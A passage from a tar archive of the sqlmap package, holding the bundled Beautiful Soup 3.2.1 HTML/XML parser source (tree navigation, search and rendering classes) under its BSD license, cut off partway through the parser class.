ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. # pass ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/thirdparty/beautifulsoup/beautifulsoup.py����������������������������������������������0000664�0000000�0000000�00000233566�13260122637�0023356�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������"""Beautiful Soup Elixir and Tonic "The Screen-Scraper's Friend" http://www.crummy.com/software/BeautifulSoup/ Beautiful Soup parses a (possibly invalid) XML or HTML document into a tree representation. It provides methods and Pythonic idioms that make it easy to navigate, search, and modify the tree. A well-formed XML/HTML document yields a well-formed data structure. An ill-formed XML/HTML document yields a correspondingly ill-formed data structure. If your document is only locally well-formed, you can use this library to find and process the well-formed part of it. Beautiful Soup works with Python 2.2 and up. It has no external dependencies, but you'll have more success at converting data to UTF-8 if you also install these three packages: * chardet, for auto-detecting character encodings http://chardet.feedparser.org/ * cjkcodecs and iconv_codec, which add more encodings to the ones supported by stock Python. http://cjkpython.i18n.org/ Beautiful Soup defines classes for two main parsing strategies: * BeautifulStoneSoup, for parsing XML, SGML, or your domain-specific language that kind of looks like XML. * BeautifulSoup, for parsing run-of-the-mill HTML code, be it valid or invalid. This class has web browser-like heuristics for obtaining a sensible parse tree in the face of common HTML errors. Beautiful Soup also defines a class (UnicodeDammit) for autodetecting the encoding of an HTML or XML document, and converting it to Unicode. Much of this code is taken from Mark Pilgrim's Universal Feed Parser. For more than you ever wanted to know about Beautiful Soup, see the documentation: http://www.crummy.com/software/BeautifulSoup/documentation.html Here, have some legalese: Copyright (c) 2004-2010, Leonard Richardson All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the the Beautiful Soup Consortium and All Night Kosher Bakery nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE, DAMMIT. """ from __future__ import generators __author__ = "Leonard Richardson (leonardr@segfault.org)" __version__ = "3.2.1" __copyright__ = "Copyright (c) 2004-2012 Leonard Richardson" __license__ = "New-style BSD" from sgmllib import SGMLParser, SGMLParseError import codecs import markupbase import types import re import sgmllib try: from htmlentitydefs import name2codepoint except ImportError: name2codepoint = {} try: set except NameError: from sets import Set as set #These hacks make Beautiful Soup able to parse XML with namespaces sgmllib.tagfind = re.compile('[a-zA-Z][-_.:a-zA-Z0-9]*') markupbase._declname_match = re.compile(r'[a-zA-Z][-_.:a-zA-Z0-9]*\s*').match DEFAULT_OUTPUT_ENCODING = "utf-8" def _match_css_class(str): """Build a RE to match the given CSS class.""" return re.compile(r"(^|.*\s)%s($|\s)" % str) # First, the classes that represent markup elements. class PageElement(object): """Contains the navigational information for some part of the page (either a tag or a piece of text)""" def _invert(h): "Cheap function to invert a hash." i = {} for k,v in h.items(): i[v] = k return i XML_ENTITIES_TO_SPECIAL_CHARS = { "apos" : "'", "quot" : '"', "amp" : "&", "lt" : "<", "gt" : ">" } XML_SPECIAL_CHARS_TO_ENTITIES = _invert(XML_ENTITIES_TO_SPECIAL_CHARS) def setup(self, parent=None, previous=None): """Sets up the initial relations between this element and other elements.""" self.parent = parent self.previous = previous self.next = None self.previousSibling = None self.nextSibling = None if self.parent and self.parent.contents: self.previousSibling = self.parent.contents[-1] self.previousSibling.nextSibling = self def replaceWith(self, replaceWith): oldParent = self.parent myIndex = self.parent.index(self) if hasattr(replaceWith, "parent")\ and replaceWith.parent is self.parent: # We're replacing this element with one of its siblings. index = replaceWith.parent.index(replaceWith) if index and index < myIndex: # Furthermore, it comes before this element. That # means that when we extract it, the index of this # element will change. myIndex = myIndex - 1 self.extract() oldParent.insert(myIndex, replaceWith) def replaceWithChildren(self): myParent = self.parent myIndex = self.parent.index(self) self.extract() reversedChildren = list(self.contents) reversedChildren.reverse() for child in reversedChildren: myParent.insert(myIndex, child) def extract(self): """Destructively rips this element out of the tree.""" if self.parent: try: del self.parent.contents[self.parent.index(self)] except ValueError: pass #Find the two elements that would be next to each other if #this element (and any children) hadn't been parsed. Connect #the two. lastChild = self._lastRecursiveChild() nextElement = lastChild.next if self.previous: self.previous.next = nextElement if nextElement: nextElement.previous = self.previous self.previous = None lastChild.next = None self.parent = None if self.previousSibling: self.previousSibling.nextSibling = self.nextSibling if self.nextSibling: self.nextSibling.previousSibling = self.previousSibling self.previousSibling = self.nextSibling = None return self def _lastRecursiveChild(self): "Finds the last element beneath this object to be parsed." lastChild = self while hasattr(lastChild, 'contents') and lastChild.contents: lastChild = lastChild.contents[-1] return lastChild def insert(self, position, newChild): if isinstance(newChild, basestring) \ and not isinstance(newChild, NavigableString): newChild = NavigableString(newChild) position = min(position, len(self.contents)) if hasattr(newChild, 'parent') and newChild.parent is not None: # We're 'inserting' an element that's already one # of this object's children. if newChild.parent is self: index = self.index(newChild) if index > position: # Furthermore we're moving it further down the # list of this object's children. That means that # when we extract this element, our target index # will jump down one. position = position - 1 newChild.extract() newChild.parent = self previousChild = None if position == 0: newChild.previousSibling = None newChild.previous = self else: previousChild = self.contents[position-1] newChild.previousSibling = previousChild newChild.previousSibling.nextSibling = newChild newChild.previous = previousChild._lastRecursiveChild() if newChild.previous: newChild.previous.next = newChild newChildsLastElement = newChild._lastRecursiveChild() if position >= len(self.contents): newChild.nextSibling = None parent = self parentsNextSibling = None while not parentsNextSibling: parentsNextSibling = parent.nextSibling parent = parent.parent if not parent: # This is the last element in the document. break if parentsNextSibling: newChildsLastElement.next = parentsNextSibling else: newChildsLastElement.next = None else: nextChild = self.contents[position] newChild.nextSibling = nextChild if newChild.nextSibling: newChild.nextSibling.previousSibling = newChild newChildsLastElement.next = nextChild if newChildsLastElement.next: newChildsLastElement.next.previous = newChildsLastElement self.contents.insert(position, newChild) def append(self, tag): """Appends the given tag to the contents of this tag.""" self.insert(len(self.contents), tag) def findNext(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findAllNext, name, attrs, text, **kwargs) def findAllNext(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextGenerator, **kwargs) def findNextSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears after this Tag in the document.""" return self._findOne(self.findNextSiblings, name, attrs, text, **kwargs) def findNextSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear after this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.nextSiblingGenerator, **kwargs) fetchNextSiblings = findNextSiblings # Compatibility with pre-3.x def findPrevious(self, name=None, attrs={}, text=None, **kwargs): """Returns the first item that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findAllPrevious, name, attrs, text, **kwargs) def findAllPrevious(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns all items that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousGenerator, **kwargs) fetchPrevious = findAllPrevious # Compatibility with pre-3.x def findPreviousSibling(self, name=None, attrs={}, text=None, **kwargs): """Returns the closest sibling to this Tag that matches the given criteria and appears before this Tag in the document.""" return self._findOne(self.findPreviousSiblings, name, attrs, text, **kwargs) def findPreviousSiblings(self, name=None, attrs={}, text=None, limit=None, **kwargs): """Returns the siblings of this Tag that match the given criteria and appear before this Tag in the document.""" return self._findAll(name, attrs, text, limit, self.previousSiblingGenerator, **kwargs) fetchPreviousSiblings = findPreviousSiblings # Compatibility with pre-3.x def findParent(self, name=None, attrs={}, **kwargs): """Returns the closest parent of this Tag that matches the given criteria.""" # NOTE: We can't use _findOne because findParents takes a different # set of arguments. r = None l = self.findParents(name, attrs, 1) if l: r = l[0] return r def findParents(self, name=None, attrs={}, limit=None, **kwargs): """Returns the parents of this Tag that match the given criteria.""" return self._findAll(name, attrs, None, limit, self.parentGenerator, **kwargs) fetchParents = findParents # Compatibility with pre-3.x #These methods do the real heavy lifting. def _findOne(self, method, name, attrs, text, **kwargs): r = None l = method(name, attrs, text, 1, **kwargs) if l: r = l[0] return r def _findAll(self, name, attrs, text, limit, generator, **kwargs): "Iterates over a generator looking for things that match." if isinstance(name, SoupStrainer): strainer = name # (Possibly) special case some findAll*(...) searches elif text is None and not limit and not attrs and not kwargs: # findAll*(True) if name is True: return [element for element in generator() if isinstance(element, Tag)] # findAll*('tag-name') elif isinstance(name, basestring): return [element for element in generator() if isinstance(element, Tag) and element.name == name] else: strainer = SoupStrainer(name, attrs, text, **kwargs) # Build a SoupStrainer else: strainer = SoupStrainer(name, attrs, text, **kwargs) results = ResultSet(strainer) g = generator() while True: try: i = g.next() except StopIteration: break if i: found = strainer.search(i) if found: results.append(found) if limit and len(results) >= limit: break return results #These Generators can be used to navigate starting from both #NavigableStrings and Tags. def nextGenerator(self): i = self while i is not None: i = i.next yield i def nextSiblingGenerator(self): i = self while i is not None: i = i.nextSibling yield i def previousGenerator(self): i = self while i is not None: i = i.previous yield i def previousSiblingGenerator(self): i = self while i is not None: i = i.previousSibling yield i def parentGenerator(self): i = self while i is not None: i = i.parent yield i # Utility methods def substituteEncoding(self, str, encoding=None): encoding = encoding or "utf-8" return str.replace("%SOUP-ENCODING%", encoding) def toEncoding(self, s, encoding=None): """Encodes an object to a string in some encoding, or to Unicode. .""" if isinstance(s, unicode): if encoding: s = s.encode(encoding) elif isinstance(s, str): if encoding: s = s.encode(encoding) else: s = unicode(s) else: if encoding: s = self.toEncoding(str(s), encoding) else: s = unicode(s) return s BARE_AMPERSAND_OR_BRACKET = re.compile("([<>]|" + "&(?!#\d+;|#x[0-9a-fA-F]+;|\w+;)" + ")") def _sub_entity(self, x): """Used with a regular expression to substitute the appropriate XML entity for an XML special character.""" return "&" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + ";" class NavigableString(unicode, PageElement): def __new__(cls, value): """Create a new NavigableString. When unpickling a NavigableString, this method is called with the string in DEFAULT_OUTPUT_ENCODING. That encoding needs to be passed in to the superclass's __new__ or the superclass won't know how to handle non-ASCII characters. """ if isinstance(value, unicode): return unicode.__new__(cls, value) return unicode.__new__(cls, value, DEFAULT_OUTPUT_ENCODING) def __getnewargs__(self): return (NavigableString.__str__(self),) def __getattr__(self, attr): """text.string gives you text. This is for backwards compatibility for Navigable*String, but for CData* it lets you get the string without the CData wrapper.""" if attr == 'string': return self else: raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__.__name__, attr) def __unicode__(self): return str(self).decode(DEFAULT_OUTPUT_ENCODING) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): # Substitute outgoing XML entities. data = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, self) if encoding: return data.encode(encoding) else: return data class CData(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<![CDATA[%s]]>" % NavigableString.__str__(self, encoding) class ProcessingInstruction(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): output = self if "%SOUP-ENCODING%" in output: output = self.substituteEncoding(output, encoding) return "<?%s?>" % self.toEncoding(output, encoding) class Comment(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<!--%s-->" % NavigableString.__str__(self, encoding) class Declaration(NavigableString): def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING): return "<!%s>" % NavigableString.__str__(self, encoding) class Tag(PageElement): """Represents a found HTML tag with its attributes and contents.""" def _convertEntities(self, match): """Used in a call to re.sub to replace HTML, XML, and numeric entities with the appropriate Unicode characters. If HTML entities are being converted, any unrecognized entities are escaped.""" try: x = match.group(1) if self.convertHTMLEntities and x in name2codepoint: return unichr(name2codepoint[x]) elif x in self.XML_ENTITIES_TO_SPECIAL_CHARS: if self.convertXMLEntities: return self.XML_ENTITIES_TO_SPECIAL_CHARS[x] else: return u'&%s;' % x elif len(x) > 0 and x[0] == '#': # Handle numeric entities if len(x) > 1 and x[1] == 'x': return unichr(int(x[2:], 16)) else: return unichr(int(x[1:])) elif self.escapeUnrecognizedEntities: return u'&%s;' % x except ValueError: # e.g. ValueError: unichr() arg not in range(0x10000) pass return u'&%s;' % x def __init__(self, parser, name, attrs=None, parent=None, previous=None): "Basic constructor." # We don't actually store the parser object: that lets extracted # chunks be garbage-collected self.parserClass = parser.__class__ self.isSelfClosing = parser.isSelfClosingTag(name) self.name = name if attrs is None: attrs = [] elif isinstance(attrs, dict): attrs = attrs.items() self.attrs = attrs self.contents = [] self.setup(parent, previous) self.hidden = False self.containsSubstitutions = False self.convertHTMLEntities = parser.convertHTMLEntities self.convertXMLEntities = parser.convertXMLEntities self.escapeUnrecognizedEntities = parser.escapeUnrecognizedEntities # Convert any HTML, XML, or numeric entities in the attribute values. convert = lambda(k, val): (k, re.sub("&(#\d+|#x[0-9a-fA-F]+|\w+);", self._convertEntities, val)) self.attrs = map(convert, self.attrs) def getString(self): if (len(self.contents) == 1 and isinstance(self.contents[0], NavigableString)): return self.contents[0] def setString(self, string): """Replace the contents of the tag with a string""" self.clear() self.append(string) string = property(getString, setString) def getText(self, separator=u""): if not len(self.contents): return u"" stopNode = self._lastRecursiveChild().next strings = [] current = self.contents[0] while current is not stopNode: if isinstance(current, NavigableString): strings.append(current.strip()) current = current.next return separator.join(strings) text = property(getText) def get(self, key, default=None): """Returns the value of the 'key' attribute for the tag, or the value given for 'default' if it doesn't have that attribute.""" return self._getAttrMap().get(key, default) def clear(self): """Extract all children.""" for child in self.contents[:]: child.extract() def index(self, element): for i, child in enumerate(self.contents): if child is element: return i raise ValueError("Tag.index: element not in tag") def has_key(self, key): return self._getAttrMap().has_key(key) def __getitem__(self, key): """tag[key] returns the value of the 'key' attribute for the tag, and throws an exception if it's not there.""" return self._getAttrMap()[key] def __iter__(self): "Iterating over a tag iterates over its contents." return iter(self.contents) def __len__(self): "The length of a tag is the length of its list of contents." return len(self.contents) def __contains__(self, x): return x in self.contents def __nonzero__(self): "A tag is non-None even if it has no contents." return True def __setitem__(self, key, value): """Setting tag[key] sets the value of the 'key' attribute for the tag.""" self._getAttrMap() self.attrMap[key] = value found = False for i in xrange(0, len(self.attrs)): if self.attrs[i][0] == key: self.attrs[i] = (key, value) found = True if not found: self.attrs.append((key, value)) self._getAttrMap()[key] = value def __delitem__(self, key): "Deleting tag[key] deletes all 'key' attributes for the tag." for item in self.attrs: if item[0] == key: self.attrs.remove(item) #We don't break because bad HTML can define the same #attribute multiple times. self._getAttrMap() if self.attrMap.has_key(key): del self.attrMap[key] def __call__(self, *args, **kwargs): """Calling a tag like a function is the same as calling its findAll() method. Eg. tag('a') returns a list of all the A tags found within this tag.""" return apply(self.findAll, args, kwargs) def __getattr__(self, tag): #print "Getattr %s.%s" % (self.__class__, tag) if len(tag) > 3 and tag.rfind('Tag') == len(tag)-3: return self.find(tag[:-3]) elif tag.find('__') != 0: return self.find(tag) raise AttributeError, "'%s' object has no attribute '%s'" % (self.__class__, tag) def __eq__(self, other): """Returns true iff this tag has the same name, the same attributes, and the same contents (recursively) as the given tag. NOTE: right now this will return false if two tags have the same attributes in a different order. Should this be fixed?""" if other is self: return True if not hasattr(other, 'name') or not hasattr(other, 'attrs') or not hasattr(other, 'contents') or self.name != other.name or self.attrs != other.attrs or len(self) != len(other): return False for i in xrange(0, len(self.contents)): if self.contents[i] != other.contents[i]: return False return True def __ne__(self, other): """Returns true iff this tag is not identical to the other tag, as defined in __eq__.""" return not self == other def __repr__(self, encoding=DEFAULT_OUTPUT_ENCODING): """Renders this tag as a string.""" return self.__str__(encoding) def __unicode__(self): return self.__str__(None) def __str__(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Returns a string or Unicode representation of this tag and its contents. To get Unicode, pass None for encoding. NOTE: since Python's HTML parser consumes whitespace, this method is not certain to reproduce the whitespace present in the original string.""" encodedName = self.toEncoding(self.name, encoding) attrs = [] if self.attrs: for key, val in self.attrs: fmt = '%s="%s"' if isinstance(val, basestring): if self.containsSubstitutions and '%SOUP-ENCODING%' in val: val = self.substituteEncoding(val, encoding) # The attribute value either: # # * Contains no embedded double quotes or single quotes. # No problem: we enclose it in double quotes. # * Contains embedded single quotes. No problem: # double quotes work here too. # * Contains embedded double quotes. No problem: # we enclose it in single quotes. # * Embeds both single _and_ double quotes. This # can't happen naturally, but it can happen if # you modify an attribute value after parsing # the document. Now we have a bit of a # problem. We solve it by enclosing the # attribute in single quotes, and escaping any # embedded single quotes to XML entities. if '"' in val: fmt = "%s='%s'" if "'" in val: # TODO: replace with apos when # appropriate. val = val.replace("'", "&squot;") # Now we're okay w/r/t quotes. But the attribute # value might also contain angle brackets, or # ampersands that aren't part of entities. We need # to escape those to XML entities too. val = self.BARE_AMPERSAND_OR_BRACKET.sub(self._sub_entity, val) attrs.append(fmt % (self.toEncoding(key, encoding), self.toEncoding(val, encoding))) close = '' closeTag = '' if self.isSelfClosing: close = ' /' else: closeTag = '</%s>' % encodedName indentTag, indentContents = 0, 0 if prettyPrint: indentTag = indentLevel space = (' ' * (indentTag-1)) indentContents = indentTag + 1 contents = self.renderContents(encoding, prettyPrint, indentContents) if self.hidden: s = contents else: s = [] attributeString = '' if attrs: attributeString = ' ' + ' '.join(attrs) if prettyPrint: s.append(space) s.append('<%s%s%s>' % (encodedName, attributeString, close)) if prettyPrint: s.append("\n") s.append(contents) if prettyPrint and contents and contents[-1] != "\n": s.append("\n") if prettyPrint and closeTag: s.append(space) s.append(closeTag) if prettyPrint and closeTag and self.nextSibling: s.append("\n") s = ''.join(s) return s def decompose(self): """Recursively destroys the contents of this tree.""" self.extract() if len(self.contents) == 0: return current = self.contents[0] while current is not None: next = current.next if isinstance(current, Tag): del current.contents[:] current.parent = None current.previous = None current.previousSibling = None current.next = None current.nextSibling = None current = next def prettify(self, encoding=DEFAULT_OUTPUT_ENCODING): return self.__str__(encoding, True) def renderContents(self, encoding=DEFAULT_OUTPUT_ENCODING, prettyPrint=False, indentLevel=0): """Renders the contents of this tag as a string in the given encoding. If encoding is None, returns a Unicode string..""" s=[] for c in self: text = None if isinstance(c, NavigableString): text = c.__str__(encoding) elif isinstance(c, Tag): s.append(c.__str__(encoding, prettyPrint, indentLevel)) if text and prettyPrint: text = text.strip() if text: if prettyPrint: s.append(" " * (indentLevel-1)) s.append(text) if prettyPrint: s.append("\n") return ''.join(s) #Soup methods def find(self, name=None, attrs={}, recursive=True, text=None, **kwargs): """Return only the first child of this Tag matching the given criteria.""" r = None l = self.findAll(name, attrs, recursive, text, 1, **kwargs) if l: r = l[0] return r findChild = find def findAll(self, name=None, attrs={}, recursive=True, text=None, limit=None, **kwargs): """Extracts a list of Tag objects that match the given criteria. You can specify the name of the Tag and any attributes you want the Tag to have. The value of a key-value pair in the 'attrs' map can be a string, a list of strings, a regular expression object, or a callable that takes a string and returns whether or not the string matches for some custom definition of 'matches'. The same is true of the tag name.""" generator = self.recursiveChildGenerator if not recursive: generator = self.childGenerator return self._findAll(name, attrs, text, limit, generator, **kwargs) findChildren = findAll # Pre-3.x compatibility methods first = find fetch = findAll def fetchText(self, text=None, recursive=True, limit=None): return self.findAll(text=text, recursive=recursive, limit=limit) def firstText(self, text=None, recursive=True): return self.find(text=text, recursive=recursive) #Private methods def _getAttrMap(self): """Initializes a map representation of this tag's attributes, if not already initialized.""" if not getattr(self, 'attrMap'): self.attrMap = {} for (key, value) in self.attrs: self.attrMap[key] = value return self.attrMap #Generator methods def childGenerator(self): # Just use the iterator from the contents return iter(self.contents) def recursiveChildGenerator(self): if not len(self.contents): raise StopIteration stopNode = self._lastRecursiveChild().next current = self.contents[0] while current is not stopNode: yield current current = current.next # Next, a couple classes to represent queries and their results. class SoupStrainer: """Encapsulates a number of ways of matching a markup element (tag or text).""" def __init__(self, name=None, attrs={}, text=None, **kwargs): self.name = name if isinstance(attrs, basestring): kwargs['class'] = _match_css_class(attrs) attrs = None if kwargs: if attrs: attrs = attrs.copy() attrs.update(kwargs) else: attrs = kwargs self.attrs = attrs self.text = text def __str__(self): if self.text: return self.text else: return "%s|%s" % (self.name, self.attrs) def searchTag(self, markupName=None, markupAttrs={}): found = None markup = None if isinstance(markupName, Tag): markup = markupName markupAttrs = markup callFunctionWithTagData = callable(self.name) \ and not isinstance(markupName, Tag) if (not self.name) \ or callFunctionWithTagData \ or (markup and self._matches(markup, self.name)) \ or (not markup and self._matches(markupName, self.name)): if callFunctionWithTagData: match = self.name(markupName, markupAttrs) else: match = True markupAttrMap = None for attr, matchAgainst in self.attrs.items(): if not markupAttrMap: if hasattr(markupAttrs, 'get'): markupAttrMap = markupAttrs else: markupAttrMap = {} for k,v in markupAttrs: markupAttrMap[k] = v attrValue = markupAttrMap.get(attr) if not self._matches(attrValue, matchAgainst): match = False break if match: if markup: found = markup else: found = markupName return found def search(self, markup): #print 'looking for %s in %s' % (self, markup) found = None # If given a list of items, scan it for a text element that # matches. if hasattr(markup, "__iter__") \ and not isinstance(markup, Tag): for element in markup: if isinstance(element, NavigableString) \ and self.search(element): found = element break # If it's a Tag, make sure its name or attributes match. # Don't bother with Tags if we're searching for text. elif isinstance(markup, Tag): if not self.text: found = self.searchTag(markup) # If it's text, make sure the text matches. elif isinstance(markup, NavigableString) or \ isinstance(markup, basestring): if self._matches(markup, self.text): found = markup else: raise Exception, "I don't know how to match against a %s" \ % markup.__class__ return found def _matches(self, markup, matchAgainst): #print "Matching %s against %s" % (markup, matchAgainst) result = False if matchAgainst is True: result = markup is not None elif callable(matchAgainst): result = matchAgainst(markup) else: #Custom match methods take the tag as an argument, but all #other ways of matching match the tag name as a string. if isinstance(markup, Tag): markup = markup.name if markup and not isinstance(markup, basestring): markup = unicode(markup) #Now we know that chunk is either a string, or None. if hasattr(matchAgainst, 'match'): # It's a regexp object. result = markup and matchAgainst.search(markup) elif hasattr(matchAgainst, '__iter__'): # list-like result = markup in matchAgainst elif hasattr(matchAgainst, 'items'): result = markup.has_key(matchAgainst) elif matchAgainst and isinstance(markup, basestring): if isinstance(markup, unicode): matchAgainst = unicode(matchAgainst) else: matchAgainst = str(matchAgainst) if not result: result = matchAgainst == markup return result class ResultSet(list): """A ResultSet is just a list that keeps track of the SoupStrainer that created it.""" def __init__(self, source): list.__init__([]) self.source = source # Now, some helper functions. def buildTagMap(default, *args): """Turns a list of maps, lists, or scalars into a single map. Used to build the SELF_CLOSING_TAGS, NESTABLE_TAGS, and NESTING_RESET_TAGS maps out of lists and partial maps.""" built = {} for portion in args: if hasattr(portion, 'items'): #It's a map. Merge it. for k,v in portion.items(): built[k] = v elif hasattr(portion, '__iter__'): # is a list #It's a list. Map each item to the default. for k in portion: built[k] = default else: #It's a scalar. Map it to the default. built[portion] = default return built # Now, the parser classes. class BeautifulStoneSoup(Tag, SGMLParser): """This class contains the basic parser and search code. It defines a parser that knows nothing about tag behavior except for the following: You can't close a tag without closing all the tags it encloses. That is, "<foo><bar></foo>" actually means "<foo><bar></bar></foo>". [Another possible explanation is "<foo><bar /></foo>", but since this class defines no SELF_CLOSING_TAGS, it will never use that explanation.] This class is useful for parsing XML or made-up markup languages, or when BeautifulSoup makes an assumption counter to what you were expecting.""" SELF_CLOSING_TAGS = {} NESTABLE_TAGS = {} RESET_NESTING_TAGS = {} QUOTE_TAGS = {} PRESERVE_WHITESPACE_TAGS = [] MARKUP_MASSAGE = [(re.compile('(<[^<>]*)/>'), lambda x: x.group(1) + ' />'), (re.compile('<!\s+([^<>]*)>'), lambda x: '<!' + x.group(1) + '>') ] ROOT_TAG_NAME = u'[document]' HTML_ENTITIES = "html" XML_ENTITIES = "xml" XHTML_ENTITIES = "xhtml" # TODO: This only exists for backwards-compatibility ALL_ENTITIES = XHTML_ENTITIES # Used when determining whether a text node is all whitespace and # can be replaced with a single space. A text node that contains # fancy Unicode spaces (usually non-breaking) should be left # alone. STRIP_ASCII_SPACES = { 9: None, 10: None, 12: None, 13: None, 32: None, } def __init__(self, markup="", parseOnlyThese=None, fromEncoding=None, markupMassage=True, smartQuotesTo=XML_ENTITIES, convertEntities=None, selfClosingTags=None, isHTML=False): """The Soup object is initialized as the 'root tag', and the provided markup (which can be a string or a file-like object) is fed into the underlying parser. sgmllib will process most bad HTML, and the BeautifulSoup class has some tricks for dealing with some HTML that kills sgmllib, but Beautiful Soup can nonetheless choke or lose data if your data uses self-closing tags or declarations incorrectly. By default, Beautiful Soup uses regexes to sanitize input, avoiding the vast majority of these problems. If the problems don't apply to you, pass in False for markupMassage, and you'll get better performance. The default parser massage techniques fix the two most common instances of invalid HTML that choke sgmllib: <br/> (No space between name of closing tag and tag close) <! --Comment--> (Extraneous whitespace in declaration) You can pass in a custom list of (RE object, replace method) tuples to get Beautiful Soup to scrub your input the way you want.""" self.parseOnlyThese = parseOnlyThese self.fromEncoding = fromEncoding self.smartQuotesTo = smartQuotesTo self.convertEntities = convertEntities # Set the rules for how we'll deal with the entities we # encounter if self.convertEntities: # It doesn't make sense to convert encoded characters to # entities even while you're converting entities to Unicode. # Just convert it all to Unicode. self.smartQuotesTo = None if convertEntities == self.HTML_ENTITIES: self.convertXMLEntities = False self.convertHTMLEntities = True self.escapeUnrecognizedEntities = True elif convertEntities == self.XHTML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = True self.escapeUnrecognizedEntities = False elif convertEntities == self.XML_ENTITIES: self.convertXMLEntities = True self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False else: self.convertXMLEntities = False self.convertHTMLEntities = False self.escapeUnrecognizedEntities = False self.instanceSelfClosingTags = buildTagMap(None, selfClosingTags) SGMLParser.__init__(self) if hasattr(markup, 'read'): # It's a file-type object. markup = markup.read() self.markup = markup self.markupMassage = markupMassage try: self._feed(isHTML=isHTML) except StopParsing: pass self.markup = None # The markup can now be GCed def convert_charref(self, name): """This method fixes a bug in Python's SGMLParser.""" try: n = int(name) except ValueError: return if not 0 <= n <= 127 : # ASCII ends at 127, not 255 return return self.convert_codepoint(n) def _feed(self, inDocumentEncoding=None, isHTML=False): # Convert the document to Unicode. markup = self.markup if isinstance(markup, unicode): if not hasattr(self, 'originalEncoding'): self.originalEncoding = None else: dammit = UnicodeDammit\ (markup, [self.fromEncoding, inDocumentEncoding], smartQuotesTo=self.smartQuotesTo, isHTML=isHTML) markup = dammit.unicode self.originalEncoding = dammit.originalEncoding self.declaredHTMLEncoding = dammit.declaredHTMLEncoding if markup: if self.markupMassage: if not hasattr(self.markupMassage, "__iter__"): self.markupMassage = self.MARKUP_MASSAGE for fix, m in self.markupMassage: markup = fix.sub(m, markup) # TODO: We get rid of markupMassage so that the # soup object can be deepcopied later on. Some # Python installations can't copy regexes. If anyone # was relying on the existence of markupMassage, this # might cause problems. del(self.markupMassage) self.reset() SGMLParser.feed(self, markup) # Close out any unfinished strings and close all the open tags. self.endData() while self.currentTag.name != self.ROOT_TAG_NAME: self.popTag() def __getattr__(self, methodName): """This method routes method call requests to either the SGMLParser superclass or the Tag superclass, depending on the method name.""" #print "__getattr__ called on %s.%s" % (self.__class__, methodName) if methodName.startswith('start_') or methodName.startswith('end_') \ or methodName.startswith('do_'): return SGMLParser.__getattr__(self, methodName) elif not methodName.startswith('__'): return Tag.__getattr__(self, methodName) else: raise AttributeError def isSelfClosingTag(self, name): """Returns true iff the given string is the name of a self-closing tag according to this parser.""" return self.SELF_CLOSING_TAGS.has_key(name) \ or self.instanceSelfClosingTags.has_key(name) def reset(self): Tag.__init__(self, self, self.ROOT_TAG_NAME) self.hidden = 1 SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] self.quoteStack = [] self.pushTag(self) def popTag(self): tag = self.tagStack.pop() #print "Pop", tag.name if self.tagStack: self.currentTag = self.tagStack[-1] return self.currentTag def pushTag(self, tag): 